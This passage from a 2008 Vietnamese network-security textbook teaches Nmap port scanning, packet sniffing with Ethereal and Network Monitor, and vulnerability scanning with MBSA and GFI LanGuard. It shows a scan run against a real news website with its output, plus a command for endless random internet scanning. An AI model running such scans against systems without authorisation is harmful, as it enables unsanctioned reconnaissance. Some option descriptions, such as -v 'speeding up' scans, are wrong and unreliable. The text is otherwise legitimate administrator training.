Cách sử dụng Nmap để quét cổng dịch vụ

Có thể sử dụng cả giao diện đồ họa ( gọi là Zenmap) và giao diện dòng lệnh để

thực hiện việc quét cổng. Mặc du giao diện đồ họa thân thiện và dễ sử dụng hơn rất

nhiều, nhưng chúng ta hãy cung làm quen với giao diện dòng lệnh trước để hiểu rõ

Page 165: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

165

hơn từng chế độ quét của Nmap. Khi đã quen với giao diện dòng lệnh, việc sử

dụng giao diện đồ họa sẽ giúp bạn vừa tiết kiệm được thời gian, vừa có khả năng

tuy biến cao.

Phiên bản mà chúng ta sử dụng trong nội dung này là phiên bản Nmap-4.62 dành

cho hệ điều hành Windows. Sau khi cài đặt, mặc định, Nmap sẽ nằm ở đường dẫn

C:\Program Files\Nmap.

Để sử dụng Nmap, chúng ta vào Run – gõ CMD, trong cửa sổ Command Promt,

chúng ta mở thư mục Nmap bằng cách gõ cd C:\Program Files\Nmap

Tiếp theo, chúng ta gõ NMAP để xem hướng dẫn.

Page 166: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

166

Cấu trúc câu lệnh của Nmap như sau:

Usage: nmap [Scan Type(s)] [Options] {target specification}

Như đã nói ở trên, Nmap là một công cụ rất mạnh, nó hỗ trợ nhiều tính năng cũng

như nhiều kỹ thuật quét. Với nhiệm vụ quét cổng trên các máy trong hệ thống

mạng, chúng ta ít nhất cần biết những tính năng sau:

Target Specification (xác định mục tiêu)

Nmap xác định mục tiêu dò quét theo nhiều cách:

o Theo tên miền: Evnit.com.vn

o Một địa chỉ: 10.1.3.223

o Nhiều địa chỉ: 10.1.3.1-20 hay 10.1.3.50,55,70

o Viết theo dạng CIDR: 10.1.3.0/24

o Đặc biệt, Nmap còn cho phép nhiều tất cả cách viết trên trong cung

một câu lệnh.

Ví dụ: nmap scanme.nmap.org 192.168.1.0/24 10.0.0,1,3-7.0-255

Ta còn có thể quét một danh sách địa chỉ IP hay tên miền từ một tệp tin bằng

cách sử dụng thêm tham số -iL <tênfile> ; ví dụ: Nmap –iL C:\Dhcp-

export.txt

Ngoài ra, Nmap còn cho phép ta có thể quét ngẫu nhiên một hoặc nhiều mục

tiêu bằng tham số -iR <số host> ; nếu số host = 0 nghĩa là quá trình quét

ngẫu nhiên sẽ không bao giờ dừng cho đến khi người quản trị thoát khỏi

Nmap.

Ví dụ: câu lệnh Nmap -sS -PS80 -iR 0 -p 80 sẽ quét một cách ngẫu nhiên

các web server với kỹ thuật TCP SYN.

Scan Techniques (Các kỹ thuật quét)

Có thể nói, các kỹ thuật quét được tích hợp trong công cụ Nmap biến nó trở

thành một trong những công cụ quét cổng mạnh nhất hiện nay.

Page 167: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

167

Trong khi các công cụ khác thường chỉ xác định được 1 cổng dịch vụ nào đó

đang ở trạng thái Open hoặc Close thì Nmap phân biệt đến 6 trạng thái của

một cổng dịch vụ:

o Open: một ứng dụng nào đó sẵn sàng chấp nhận phiên kết nối trên

cổng này. Việc xác định các cổng mở chính là mục tiêu chính của mọi

công cụ quét cổng. Vì từ những cổng mở mang lại rất nhiều thông tin

cho cả người quản trị mạng và hacker.

o Closed: Một cổng ở trạng thái Closed vẫn nhận và hồi đáp các gói tin

thăm dò từ Nmap nhưng không có ứng dụng nào đang lắng nghe trên

cổng đó. Nó có ý nghĩa trong việc tìm kiếm các máy tính đang nối

mạng (live host) hoặc xác định phiên bản hệ điều hành.

o Filtered: Nmap không thể liệu cổng x có mở hay không bởi vì gói tin

thăm dò của nó đã bị chặn bởi một thiết bị lọc gói tin (có thể là tường

lửa, router…) Thỉnh thoảng Nmap sẽ nhận được tin phản hồi với

thông tin ICMP : Destination host unreachable nhưng thông thường là

các thiết bị lọc gói tin sẽ hủy ngay gói tin thăm dò của Nmap mà

không có bất kỳ thông tin phản hồi nào. Điều này dẫn đến việc Nmap

phải gửi lại nhiều gói tin thăm dò để tránh trường hợp bị lỗi đường

truyền, làm cho quá trình quét tốn khá nhiều thời gian.

o Unfiltered: Một cổng có thể kết nối nhưng Nmap không thể xác định

cổng đó đang ở trạng thái open hay closed. Những cổng ở trạng thái

này chỉ cho ta biết rằng cổng đó không bị lọc bởi một thiết bị lọc gói

tin nào.

o Open|Filtered: Nmap đưa một cổng vào trạng thái này khi nó không

thể xác định được cổng đó đang ở trạng thái Open hay Filtered. Trạng

thái này thường chỉ xuất hiện khi sử dụng các kỹ thuật UDP, IP

protocol, FIN, null, và Xmas.

o Closed|Filtered: Trạng thái này được đưa ra khi Nmap không xác định

được một cổng đang ở trạng thái Closed hay Filtered. Chỉ xuất hiện

trong kỹ thuật quét IP ID idle.

Các kỹ thuật quét cổng cơ bản của Nmap:

Chúng ta sẽ tìm hiểu qua một số kỹ thuật quét cổng thường dung nhất của

Nmap:

o -sS (TCP SYN scan): Kỹ thuật này còn được gọi là half-open scan vì

nó chỉ gửi gói tin SYN và căn cứ vào gói tin trả về để đánh giá trạng

Page 168: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

168

thái 1 cổng. Gói tin trả về là SYN/ACK sẽ chỉ ra cổng ở trạng thái

open, gói tin RST (reset) sẽ chỉ ra một cổng closed. Nếu không nhận

được gói tin trả về sau vài lần gửi hoặc trả về là gói tin ICMP

unreachable thì Nmap sẽ coi cổng đó ở trạng thái Filtered.

o -sT (TCP connect scan): Kỹ thuật này thực hiện một kết nối TCP thực

sự tới cổng cần quét. Và đây chính là kỹ thuật cơ bản nhất trong quét

cổng. Kỹ thuật này tốn thời gian hơn và dễ dàng bị phát hiện hơn.

o -sU (UDP scans): Du hầu hết các dịch vụ mạng đều sử dụng giao thức

TCP nhưng vẫn có một số dịch vụ quan trọng sử dụng UDP như DNS

(53), SNMP (161/162), DHCP (67/68)…UDP scan giúp xác định một

cổng nào đó ở trạng thái Open, Closed, Filtered hay Open|Filtered.

o -sN; -sF; -sX (TCP Null, FIN, and Xmas scans): Đây là những kỹ thuật

quét khá phức tạp. Ưu điểm chính của chúng có thể vượt qua được

một số loại tường lửa hoặc router cấu hình lọc gói tin.

o Ngoài những kỹ thuật trên, Nmap còn hỗ trợ nhiều kỹ thuật quét cổng

khác như TCP ACK Scan, Idle Scan, TCP Window Scan, TCP

Maimon Scan…

Thông tin chi tiết về các kỹ thuật quét này có thể tìm thấy tại đây.

Port Specification and Scan order (Xác định cổng cần quét và thứ tự

quét)

Mặc định, Nmap sẽ quét tất cả các cổng bao gồm 1024 cổng well-known

cũng như các cổng cao hơn được liệt kê trong tệp tin nmap-services.

Tuy nhiên, chúng ta cũng có thể tuy biến số cổng cần quét bằng các tham số

sau:

o -p <port ranges>: chỉ định chính xác một hay nhiều cổng cần quét.

Ví dụ: -p U:53, 111, T:21-25, 80, 8080 evn.com.vn

o -F (Fast (limited port) scan): Chỉ quét những cổng được liệt kê trong

tệp tin nmap-services (khoảng 1200 cổng).

o -r (Don't randomize ports): Mặc định, Nmap sẽ quét các cổng thông

dụng trước. Với lựa chọn này, chúng ta buộc Nmap phải quét theo

đúng thứ tự từ đầu đến cuối.

Minh họa: Sử dụng Nmap để quét cổng dịch vụ trên website dantri.com.vn.

Page 169: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

169

Dung câu lệnh sau:

Nmap -v -A -PN -sS -oN C:\dantri.txt www.dantri.com.vn

Ý nghĩa của câu lệnh trên như sau:

- Tham số -v làm tăng tốc độ quét bằng cách thực hiện cung lúc nhiều kết nối.

- Tham số -A bao gồm việc xác định hệ điều hành, xác định phiên bản từng dịch

vụ, quét script, và thực hiện Traceroute.

- Tham số -PN để bỏ qua bước xác định web server đó có kết nối mạng hay không.

- Tham số -sS để thực hiện kỹ thuật quét là SYN Scan

- Tham số -oN để xuất kết quả ra tệp tin dantri.txt ở ổ C.

- Và cuối cung là mục tiêu cần quét : www.dantri.com.vn

Và đây là kết quả thu được:

Host 210.245.87.122 appears to be up ... good.

Interesting ports on 210.245.87.122:

Not shown: 1708 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp filtered microsoft-ds

1027/tcp open msrpc Microsoft Windows RPC

Page 170: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

170

1029/tcp open msrpc Microsoft Windows RPC

3389/tcp open microsoft-rdp Microsoft Terminal Service

Device type: general purpose

Running: Microsoft Windows 2003

OS details: Microsoft Windows Server 2003 SP1 or SP2

TCP Sequence Prediction: Difficulty=262 (Good luck!)

IP ID Sequence Generation: Busy server or unknown class

Service Info: OS: Windows

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.00 local.gateway (10.1.0.100)

2 172.00 adsl.hnpt.com.vn (203.210.152.1)

3 47.00 203.210.148.5

4 47.00 203.210.148.1

5 31.00 localhost (123.30.63.25)

6 31.00 localhost (123.30.63.54)

7 31.00 218.100.10.7

8 31.00 210.245.87.122

Page 171: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

171

CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG

Đối với một nhà quản trị hệ thống, thao tác bắt gói tin lưu thông trên mạng từ đó

đưa ra những thống kê, phân tích về hệ thống là vô cung cần thiết. Thông qua việc

phân tích gói tin lưu thông trên mạng, người quản trị có thể:

Phân tích các vấn đề của mạng.

Phát hiện các cố gắng xâm nhập mạng.

Thu thập thông tin để tăng hiệu quả hoạt động mạng.

Theo dõi sử dụng mạng.

Thu thập và lập báo cáo thống kê mạng.

Lọc các nội dung đáng ngờ ra khỏi giao thông mạng.

Do thám những người sử dụng mạng khác và thu thập thông tin nhạy cảm,

chẳng hạn: mật khẩu (tuy theo các phương pháp mã hóa nội dụng có thể

được sử dụng)

Các giao thức truyền thông được sử dụng trên mạng.

Tìm lỗi các giao tiếp khách/chủ.

.v.v.

Có rất nhiều công cụ giúp cho người quản trị thực hiện được công việc này một

cách khá dễ dàng, chúng được gọi chung với tên gọi “chương trình nghe trộm gói

tin” (packet sniffer) hay “chương trình phân tích mạng”. Đó là những phần mềm

máy tính có khả năng chặn và ghi lại giao thông trên mạng. Khi các dòng dữ liệu

được truyền trong mạng, chương trình nghe trộm bắt lấy từng gói tin rồi giải mã và

phân tích nội dung của nó theo RFC hoặc các đặc tả thích hợp khác. Tuy theo cấu

trúc mạng (hub hay switch), người ta có thể nghe trộm tất cả hoặc chỉ một phần

của giao thông dữ liệu từ một máy trong mạng. Đối với các mục đích theo dõi

mạng (network monitoring), người ta có thể muốn theo dõi tất cả các gói tin trong

một mạng LAN bằng cách sử dụng một thiết bị switch với tính năng mirrowing (nó

lặp lại tất cả các gói tin đi qua tất cả các cổng của thiết bị chuyển mạch).

1. Phần mềm Ethereal

Ethereal là một phần mềm mã nguồn mở miễn phí. Đây là một công cụ hết sức phổ

biến được cả những nhà quản trị mạng và hacker sử dụng. Khả năng hỗ trợ nhiều

dòng hệ điều hành cũng như tốc độ bắt và lọc gói tin giúp Ethereal trở thành một

trong những phần mềm phân tích dữ liệu mạng mạnh nhất hiện nay. Ngoài ra,

Page 172: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

172

Ethereal sử dụng một thư viện tập hợp đầy đủ các giao thức, điều này giúp cho

Ethereal dễ dàng phân tích và hiển thị thông tin chi tiết về từng nội dung gói tin.

Sử dụng Ethereal để bắt và phân tích các gói tin lưu thông trên mạng:

Bước 1. Chọn cổng mạng để bắt gói tin

Khởi động chương trình Ethereal, xác định cổng mạng dung để bắt gói tin.

Sau khi nhấn Capture, Ethereal sẽ tiến hành bắt các gói tin đi qua cổng mạng đã

chọn.

Bước 2. Nhấn Stop để dừng quá trình bắt gói tin.

Page 173: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

173

Bước 3. Phân tích dữ liệu thu được

Mặc định, Ethereal sẽ bắt tất cả các gói tin đi qua cổng mạng đã họn và hiển thị

theo thứ tự bắt được. Tuy nhiên, Ethereal cung cấp cho chúng ta tiện ích Filter, cho

phép chúng ta tuy biến hiển thị thông tin.

Page 174: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

174

Ví dụ1: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225, ta sử dụng tham số ip.src == 10.1.3.225

Ví dụ 2: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và truy cập tới cổng

80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport == 80

Page 175: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

175

Ví dụ 3: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và có cổng đích

khác 80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport != 80

Ví dụ 4: Hiển thị một phiên kết nối TCP từ máy tính 10.1.3.225 đến trang web

icon.evn.com.vn. Click chuột phải vào một gói tin TCP có địa chỉ nguồn là

10.1.3.225 và địa chỉ đích là Icon.evn.com.vn (203.190.160.227), chọn Follow

TCP Stream:

Page 176: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

176

Kết quả thu được cho ta thấy rõ quá trình bắt tay bắt tay 3 bước TCP như thế nào

cũng như quá trình máy tính trao đổi thông tin HTTP với máy chủ web

Icon.evn.com.vn:

Page 177: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

177

Sử dụng công cụ Capture Filter để bắt các gói tin xác định:

Trong một số trường hợp, ta không cần thiết phải bắt tất cả các gói tin lưu thông

trên mạng, công cụ Capture Filter cho phép ta thực hiện được việc này.

Vào menu Capture, chọn Options (phím tắt Ctrl + K). Chọn cổng mạng dung để

bắt gói tin.

Giả sử ta chỉ muốn bắt các gói tin TCP đi đến hoặc xuất phát từ máy tính có địa chỉ

10.1.3.225, trong mục Capture Filters gõ tham số : host 10.1.3.225 :

Sau khi thực hiện bắt gói tin và phân tích lưu thông mạng, chúng ta có thể lưu lại

kết quả hoặc xuất thông tin ra các định dạng khác nhau để tiện theo dõi, thống kê.

Page 178: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

178

2. Microsoft Network Monitor

Network Monitor có thể được coi là một công cụ miễn phí bởi vì nó được tích hợp

sẵn trong sản phẩm Microsoft Windows Server 2003. Có hai phiên bản khác nhau

của Network Monitor; phiên bản Basic và phiên bản đầy đủ. Phiên bản Basic có

trong Windows Server 2003, còn phiên bản đầy đủ được dành cho SMS Server. Cả

hai phiên bản đều cho phép phân tích được lưu lượng mạng, tuy nhiên vẫn có một

số sự khác nhau giữa hai phiên bản. Sự khác nhau lớn nhất là phiên bản Basic chỉ

có khả năng phân tích được lưu lượng gửi đi hoặc đến từ máy tính đang sử dụng

Network Monitor, trong khi đó phiên bản đầy đủ có thể phân tích tất cả các luồng

lưu lượng trên cả đoạn mạng.

Trong nội dung này, chúng ta sẽ cùng tìm hiểu cách cài đặt và sử dụng Network

Monitor.

Sử dụng Network Monitor để phân tích gói tin

Bước 1. Cài đặt Network Monitor trên máy tính chạy Windows Server 2003

Để cài đặt Network Monitor, chúng ta cần đĩa cài đặt Windows Server 2003. Sau

khi cho đĩa cài Windows Server 2003 vào ổ đĩa, chúng ta vào Start – Control

Panel – Add/Remove Programs – Add/ Remove Windows Components.

Page 179: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

179

Tìm đến phần Management and Monitoring Tools, chọn Details (không tích vào

hộp chọn).

Tích vào hộp chọn Network Monitor Tools và nhấn OK – Next - Finish để hoàn

thành cài đặt.

Page 180: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

180

Bước 2. Sử dụng Network Monitor để bắt gói tin

Sau khi cài đặt, Network Monitor xuất hiện trong phần Adminstrative Tools.

Cũng như Ethereal, Network Monitor cho phép bạn lọc các giao thức cần bắt cũng

như hiển thị theo từng giao thức.

Việc sử dụng Network Monitor khá đơn giản khi bạn đã làm quen với Ethereal.

Sau khi chọn cổng mạng dung để bắt gói tin, bạn nhấn biểu tượng ► để bắt đầu

quá trình bắt gói tin.

Page 181: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

181

Để kết thúc quá trình bắt gói tin và xem kết quả thu được, bạn chọn biểu tượng

hình gọng kính (Stop and View Capture)

Muốn tuy chọn hiển thị, ta có thể vào mục Display – Filter trên thanh công cụ hoặc

nhấn phím tắt F8. Giả sử ở đây ta chỉ muốn hiển thị các gói tin ICMP xuất phát từ

Localhost:

Page 182: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

182

Và đây là kết quả thu được:

Page 183: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

183

CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH

Theo thống kế của trung tâm an ninh mạng BKIS trung bình một tháng xuất hiện

thêm 400 lỗi trong các phần mềm thường dung. 20% trong số đó là các lỗi nghiêm

trọng, có thể khiến hệ thống bị kiểm soát. Và mức độ nguy hiểm của các lỗ hổng

này còn ở thái độ của người dung, đa số người dung thường xuyên không có thói

quen cập nhật phần mềm, bản vá lỗi…

Thực tế, có rất nhiều công cụ cho phép phát hiện lỗ hổng trên máy tính, từ các

phần mềm dung cho riêng từng máy đến các phần mềm có thể quét qua mạng. Ở

đây, chúng ta tìm hiểu 2 trong số các phần mềm như vậy.

1. Microsoft Baseline Security Analyzer

MBSA là công cụ được thiết kế cho các quản trị mạng trong môi trường hệ thống

vừa và nhỏ. Nó giúp họ có thể dễ dàng đánh giá được tình trạng bảo mật của hệ

thống cũng như có được các hướng dẫn tăng cường bảo mật từ Microsoft. MBSA

hoạt động trên môi trường mạng Windows, tương thích với tất cả các sản phẩm của

Microsoft và có khả năng phát hiện lỗ hổng trong hệ thống (password yếu, chưa

cập nhật bản vá, shared folder…).

MBSA có thể được download tại địa chỉ :

http://www.microsoft.com/technet/security/tools/mbsahome.mspx

Để quét lỗ hổng trên một máy tính, ta tiến hành làm như sau:

Bước 1. Khởi động MBSA, chọn Scan a computer

Page 184: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

184

Bước 2. Xác định máy tính cần kiểm tra

Có thể xác định theo tên máy hoặc theo địa chỉ IP của máy đó.

Nên để các lựa chọn mặc định để có thể rà soát được nhiều lỗ hổng khác nhau.

Sau khi lựa chọn xong, chọn Start scan

Bước 3. Kiểm tra kết quả

Page 185: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

185

Page 186: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

186

Bước 4. Thực hiện sửa lỗi, tăng cường bảo mật

Trong trường hợp này, máy tính thử nghiệm có 2 lỗ hổng nghiêm trọng được phát

hiện là lỗi về Windows Security Updates và IE Enhanced Security

Configuration for Adminstrators.

Chúng ta nhấn vào liên kết How to correct this để có được những biện pháp bảo

mật phu hợp.

Page 187: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

187

MBSA cũng cho phép người quản trị kiểm tra cung lúc nhiều máy tính trong hệ

thống với điều kiện người quản trị phải đăng nhập với tài khoản đủ quyền.

Ngoài ra, khi thực hiện quét lỗ hổng trên một hay nhiều máy đều có những yêu cầu

về hệ điều hành, phiên bản IE, IIS, XML và một số dịch vụ khác. Chi tiết có thể

tìm hiểu ở mục Microsoft Baseline Security Analyzer Help.

2. GFI LanGuard Network Security Scanner

GFI LanGuard Network Security Scanner (N.S.S) là một giải pháp quản lý lỗ hổng

hệ thống toàn diện. N.S.S cung cấp 3 tính năng rất mạnh để quản lý hệ thống đó là:

- Dò tìm điểm yếu (Vulnerable Scanning)

- Quản lý bản vá lỗi (Patch Management)

- Giám sát hệ thống (Network Auditing)

Page 188: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

188

N.S.S hoạt động trên nhiều hệ điều hành khác nhau (Windows, Mac OS, Linux).

Để sử dụng N.S.S dò quét lỗ hổng trên một hay nhiều máy tính, ta làm như

sau:

Bước 1: Xác định máy tính cần quét:

Trong File – New Scan, chọn một hoặc nhiều máy tính cần quét. Ở đây, chúng ta

chọn quét trên máy tính có địa chỉ 192.168.1.100, nhấn Finish.

Bước 2: Phân tích kết quả nhận được:

Page 189: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

189

Dựa vào kết quả nhận được, chúng ta có thể có rất nhiều thông tin về máy tính này.

Đó là tên máy tính, địa chỉ MAC, máy tính thuộc domain hay workgroup, các

shared folder và phân quyền trên chúng, các nhóm người dung có trên máy tính,

các phiên đang kết nối, thông tin về card mạng, ổ đĩa, ngày giờ hệ thống, chính

sách mật khẩu và các thông tin quan trọng từ Registry như System Root, Memory,

Display, Sound Card…

Page 190: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

190

Các bản vá lỗi đã được cập nhật trên máy tính, các chính sách về kiểm soát thống

kê:

Page 191: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

191

Thông tin về các cổng dịch vụ đang mở trên máy tính:

Cảnh báo về những điểm yếu, các lỗ hổng chưa được cập nhật từ các ứng dụng, hệ

điều hành trên máy tính và hướng dẫn cách vá lỗi hoặc cấu hình để tăng cường bảo

mật.

Page 192: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

192

Bước 3: Cập nhật các bản vá lỗi, cấu hình tăng cường bảo mật

Để cập nhật các bản vá lỗi cho máy tính, người quản trị có thể thao tác ngay trên

giao diện N.S.S mà không gây bất kì ảnh hưởng nào đối với người dung bằng cách

click chuột phải vào biểu tượng máy tính đó và chọn Deploy Patches on this

computer. Người quản trị có thể tuy chọn một số thông số như khởi động lại máy

sau khi cập nhật bản vá, tạo log file… trước khi nhấn Start để bắt đầu.

Page 193: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

193

Đối với những điểm yếu trên máy tính, người quản trị có thể tham khảo những

khuyến nghị của N.S.S để cấu hình tăng cường bảo mật như đổi tên administrator,

tắt các chia se mặc định C$, D$, ADMIN$...

Page 194: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

194

Ngoài ra, N.S.S còn cung cấp các một số tính năng hữu dụng khác như tạo báo cáo,

whois, traceroute, điểm danh máy tính, kiểm tra máy chủ MS SQL…

Page 195: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

195

PHẦN 6

CASE-STUDY

Page 196: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

196

Case-Study 1

Chính sách an ninh mạng của Tổ chức không cho phép người dung từ bên

ngoài truy cập tới Email Server sử dụng các giao thức POP3, SMTP, IMAP.

Tuy nhiên, một số nhân viên kinh doanh thường xuyên phải làm việc với đối

tác ngoài công ty và họ có nhu cầu làm việc với các phần mềm Email Client.

Hãy cấu hình trên tường lửa ISA cho phép người dung từ xa kết nối VPN

vào hệ thống để làm việc.

Mô hình bài thực hành như sau:

► Video tham khảo

Page 197: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

197

Case-study 2

Hãy cấu hình IPSec để mã hóa đường truyền giữa Server và máy tính của

User A.

Dung các phần mềm nghe lén trên máy tính Hacker để kiểm tra sự thay đổi

trước và sau khi sử dụng IPSec

Mô hình bài thực hành như sau:

► Video tham khảo

Page 198: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

198

Case-Study 3

Email Server của EXAM.COM.VN hiện tại chưa được cấu hình để sử dụng

HTTPS (HTTP over SSL).

Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate

cho các máy tính trong hệ thống.

Thực hiện việc xin cấp certificate trên máy Email Server.

Cấu hình SSL trên máy Email Server sử dụng Certificate được cấp.

Kiểm tra cấu hình bằng cách truy cập Https://exam.com.vn/exchange trên

máy Client.

Mô hình bài thực hành như sau:

► Video tham khảo

Page 199: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

199

Case-Study 4

Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate

cho các máy tính trong hệ thống.

Thực hiện việc xin cấp certificate trên máy người dung.

Cấu hình các phần mềm Email Client trên máy người dung sử dụng chữ ký

điện tử và chức năng mã hóa email.

Kiểm tra tính an toàn bằng cách thử dung một máy tính thứ 3 đọc trộm email

đã được mã hóa.

Mô hình bài thực hành như sau:

► Video tham khảo

Page 200: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

200

PHẦN 7

TÀI LIỆU THAM KHẢO

Page 201: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

201

1. Syngress – Security+ Study Guide.

2. Cisco Press – IPSec Virtual Private Network Fundamentals.

3. Cisco Press – ICND, Vol 1 and 2.

4. TCP/IP Illustrated, Vol 1.

5. O’Reilly – Virtual Private Networks.

6. http:// openssh.com

7. http://SecurityFocus.com

6. http://pgp.com

7. Các phương pháp lọc và phòng chống Spam – Trần Đình Thi

8. http://hvaonline.net

9. http://Acunetix.com

10. http://wikipedia.org

11. http://Nmap.org

12. http://metasploit.com/

13. http://quantrimang.com

14. http://vnsecurity.com

15. http://vietshield.com

16. http://nis.com.vn

17. http://nstalker.net

18. http://technet.microsoft.com

Page 202: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

202

19. http://acunetix.com

20. http://milw0rm.com

21. http://ethereal.com

22. http://ethicalhacker.net

22. http://ethereal.org

23. http://adminvietnam.vn

Video Demo:

24. Cấu hình SSH

25. Cấu hình PGP

26. Khai thác lỗi tràn bộ đệm trên hệ điều hành Windows 2000